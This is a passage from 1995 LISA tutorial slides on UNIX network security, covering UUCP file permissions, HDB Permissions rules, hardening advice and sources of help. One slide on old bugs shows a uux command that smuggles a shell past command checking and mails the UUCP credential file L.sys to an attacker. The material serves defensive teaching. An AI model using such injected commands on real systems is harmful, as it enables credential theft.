* if user's login name in the login field, then all transfers out must have files with names beginning with path_name:
matt, /usr/matt /usr/spool/uucppublic /tmp
lets me send files in my directory, the UUCP public access directory, and /tmp out - but no others
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 187
Recommendation
limit uucico access to "/usr/spool/uucppublic":
login,system /usr/spool/uucppublic
allows remote systems access to files in /usr/spool/uucppublic only
, /usr/spool/uucppublic
users copy files to be sent out into /usr/spool/uucppublic; not good to make this / (ie, users can send from anywhere on the system) because files are sent by the user uucp, which has access to files like L.sys!
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 188
Important Files: Remote Commands
"L.cmds"
list of commands remote systems may execute. Example: rmail rnews
ruusend
allows those three commands and no others
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 189
UUCP Accounts
One account for all allows remote hosts (possibly) to modify and/or read UUCP system control files:
* at least two UUCP logins with different UIDs:
* one for local system administration (uucp)
* one or more for remote systems to use
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 190
Remote Host Logins
* each host has its own login name
Most useful when USERNAME allows different machines to do different things, or when you want to see which machine is logged in by doing a who
* have all hosts use the same login
Machine names are printed in log files, so why have multiple logins?
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 191
Some Bugs in Older Versions
Command checking done for first word in command
uux - remote\!rmail postmaster '`/bin/sh`'
cat /usr/lib/uucp/L.sys | mail local!attacker
<EOF>
gets me the "L.sys" file (the remote command runs as uucp, which can read "L.sys" )
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 192
Another Bug
Be sure users cannot run uucico with debugging on
If they can, they will see the password for the remote system
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 193
Log Files
"/usr/spool/uucp/AUDIT" used for debugging output
"/usr/spool/uucp/ERRLOG"log of all UUCP errors causing a session or transaction to abort; if exit status is -1, look here
"/usr/spool/uucp/LOGFILE"all UUCP activity recorded here
"/usr/spool/uucp/SYSLOG" file transfer statistics
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 194
Recommendations
Initially, no security; use the files as outlined above.
* all utilities should be:
* owned by the local administrative user (uucp)
* setuid to that account
* only be executable by everyone (no read, write permission)
* "L.sys", "USERFILE" should be:
* owned by the local administrative user (uucp)
* readable, writable by that user only
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 195
HDB Differences
* "L.cmd", "USERFILE" files combined
* Can specify allowed commands on a per-system basis
* Sending, receiving files controlled separately
* By default, very strict security
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 196
Important Files: Calling Systems
"Systems"
The old "L.sys" file
If a caller is not in the file, it cannot perform any operations; uucico calls the program remote.unknown
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 197
Important Files: Remote Access
"Permissions"
Combines function of "USERFILE" and "L.cmds"
Uses a rule-based mechanism with lists of options:
rule=list [option=list... ]
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 198
LOGNAME Rule
LOGNAME=loginname[:loginname...]
loginname login name of remote host
* if a login name not in this file is used, the connection is refused
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 199
LOGNAME Rule (2)
LOGNAME=loginname[:loginname...]
* with no options:
* remote system can send only to /usr/spool/ uucppublic
* remote system cannot ask to receive any files
* remote system sent files only when it is called
* only default commands (defined at compile time; usually rmail and rnews) will be executed on behalf or remote system
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 200
LOGNAME Rule Options
READ=dirname[:dirname...] allow remote system to read files in dirname or any of its subdirectories
WRITE=dirname[:dirname...] allow remote system to write to files in dirname or any of its subdirectories
NOREAD=dirname[:dirname...] don't allow remote system to read files in dirname or any of its subdirectories
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 201
LOGNAME Rule Options (2)
NOWRITE=dirname[:dirname...] don't allow remote system to write to files in dirname or any of its subdirectories
Example:
LOGNAME=ubear REQUEST=yes READ=/ NOREAD=/etc
Remote system bear can read any file in the system readable by that UID (except those under /etc)
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 202
LOGNAME Rule Options (3)
REQUEST=yes grant remote system permission to request files from local system (sent next time local system calls remote system)
SENDFILES=yes allow system to send files to a remote system when remote system initiates transfer
CALLBACK=yes force call-back before any transactions; all other options ignored
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 203
LOGNAME Rule Options (4)
PUBDIR=dirname use dirname rather than /usr/spool/ uucppublic ads the public directory for this login
MYNAME=whoIwanttobe identify local machine as whoIwanttobe to this login when it calls in
VALIDATE=hostname if the remote host is hostname, it must use this login
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 204
Example
Allow trusted hosts to read/write anything, but call back all others
Solution: two uucp logins, one for trusted hosts, the other for untrusted ones:
LOGNAME=trusted REQUEST=yes SENDFILES=yes READ=/ \ WRITE=/ PUBDIR=/usr/spool/uucp.trusted
LOGNAME=untrusted CALLBACK=yes \ PUBDIR=/usr/spool/ uucp.untrusted
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 205
MACHINE Rule
MACHINE=host[:host...] the rule applies to hosts named here; host OTHER stands for any host not named in a rule
READ=dirname
WRITE=dirname
REQUEST=yes
NOREAD=dirname
NOWRITE=dirname
PUBDIR=dirname
All as for LOGNAME
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 206
MACHINE Options
COMMANDS=command[:command...] allow the named commands to be executed by the remote system
Example:
To allow a host to call in and print things on a line printer:
MACHINE=bear COMMANDS=rmail:/usr/local/bin/rnews:lp
It can also send mail to the system and post news (here, rnews is in a non-standard place)
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 207
A Complex Example
LOGNAME=trusted MACHINE=prandtl:amelia \ VALIDATE= prandtl:amelia REQUEST=yes SENDFILES=yes \ READ=/ PUBDIR= /usr/spool/uucp.trusted \ COMMANDS=rmail:rnews:lpr
Effect: whether you call amelia or prandtl, or they call you, the following restrictions hold:
* they can request files be sent, and you will do so;
* if they log in as anything other than trusted, the session will be terminated at once;
* they can only send files to the directory "/usr/spool/ uucp.trusted"
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 208
uucheck
uucheck -v
* checks that UUCP directories are properly set up;
* says what is and what is not allowed when remote systems call (done by login)
* says what is and is not allowed when local host calls remote hosts (done by machine)
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 209
Where to Get Help
*Goal: To suggest other sources of information, points of contact, and so forth
*Overview
- vendors and agencies
- electronic information
- books and papers - bug fixes and useful programs
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 210
Vendors and CERTs
* your vendor; many are quite willing to help or advise
* CERT (and/or your agency's/country's/group's equivalent); in the US, the most visible one is at CMU. Send a letter to cert@cert.org to get on their list. Past advisories available via anonymous ftp.
Or call (412) 268-7090 to contact them by telephone
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 211
Electronic Mailing Lists
* DDN Management and Security Bulletins; to get on the mailing list, send to nic@nic.ddn.mil
* UNIX security mailing list; requestors must convince moderator of their bona fides. Appears to be defunct. Send to security-request@cpd.com
* RISKS list; send to risks-request@csl.sri.com; also in USENET group comp.risks
* VIRUS list; send a letter with the line
SUB VIRUS-L your full name
to listserv%lehiibm1.bitnet@ucbvax.berkeley.edu; also in USENET group comp.virus
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 212
Electronic Mailing Lists
* bugtraq mailing list, for discussion of UNIX security flaws; to get on the mailing list, send to bugtraq request@crimelab.com
* firewalls mailing list; to get on it, send to firewalls request@greatcircle.com
* cypherpunks mailing list, about the politics of cryptography: to get on it, send to cypherpunks request@toad.com
* Kerberos mailing list; to get on it, send to kerberos request@mit.edu
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 213
The USENET
* Newsgroup alt.security; unmoderated USENET newsgroup discussing security issues, usually about the UNIX system (but not always)
* Newsgroup comp.security; moderated USENET newsgroup discussing computersecurity in general.
* Newsgroup comp.security.unix; unmoderated USENET newsgroup discussing UNIX security; a must
* Newsgroup misc.security; moderated USENET newsgroup discussing security in general (seems to be defunct now)
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 214
Books
Kochan and Wood, UNIX(TM) System Security, Hayden Books (C)1985; ISBN 0-8104-6267-2
Rather dated, and quite specific for System V; it is an excellent overview, especially for programmers
Farrow, UNIX(R) System Security, Addison Wesley (C)1991; ISBN 0-201-57030-0
Despite some minor errors in the commentary (none of which affect the recommendations), a very good overview, with an especially good section on HoneyDanBer UUCP.
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 215
More Books
Spafford and Garfinkel, Practical UNIX Security, O'Reilly & Associates (C) 1991; ISBN 0-937175-72-2
One of the best books around; its discussion of network security is a bit unsatisfying, but the programs and discussions in the other sections make it very worthwhile
Curry, UNIX(R) System Security, Addison Wesley (C) 1992; ISBN 0-201-56327-0
Contains much information about a wide variety of systems; clear, well-written, and also very worthwhile
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 216
Still More Books
Cheswick and Bellovin, Firewalls and Internet Security: Repelling the Wily Hacker, Addison-Wesley, (C) 1994; ISBN 0-201-63357-4
This is really a book about firewalls and UNIX, and at that it excels; it contains a little about generic network security, but it's very superficial. A must for people running UNIX and contemplating connections to the Internet (or those who connected before they thought about security!)
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 217
Papers
*Curry, "Improving the Security of Your UNIX System," ITSTD-721-FR-90-21, SRI International, 333 Ravenswood Ave., Menlo Park, CA 94025 (Apr. 1990) -Dave expanded this into his book. Fun reading - and possibly frightening!
*Grampp and Morris, "UNIX Operating System Security," AT&T Bell Laboratories Technical Journal 63(8) pp. 1649-1672 (Oct. 1984) -Dated but fun; a good subtitle is, "How to break into a UNIX system faster than anyone thought possible"
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 218
Conference Proceedings
Proceedings of the UNIX Security Workshop, USENIX Association, 2560 Ninth St., Suite 215, Berkeley, CA 94710 (Aug. 1988, Aug. 1990, Sep. 1992, Oct. 1993)
These range from theoretical analyses to very practical, "how to secure your system", to the occasional "how to crack your system"
USENIX conference proceedings, USENIX Association, 2560 Ninth St., Suite 215, Berkeley, CA 94710 (Aug. 1988, Aug. 1990)
These cover UNIX systems in general, and sometimes have useful and interesting papers about security
UNIX Security: Threats and Solutions from the Network
September 19, 1995 LISA `95
UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 219
Where to Get Fixes
Sun: ftp to ftp.uu.net, login as anonymous (giving your id as password), change to directory vendor/ sun/sun-fixes, and copy the desired files
Berkeley: as above, but look in the directories systems/unix/ucb-fixes
Other vendors: as above (check vendor first, then system, but look for a directory with the appropriate name
Other good places to look:
ftp.uu.net: in comp.sources.... directories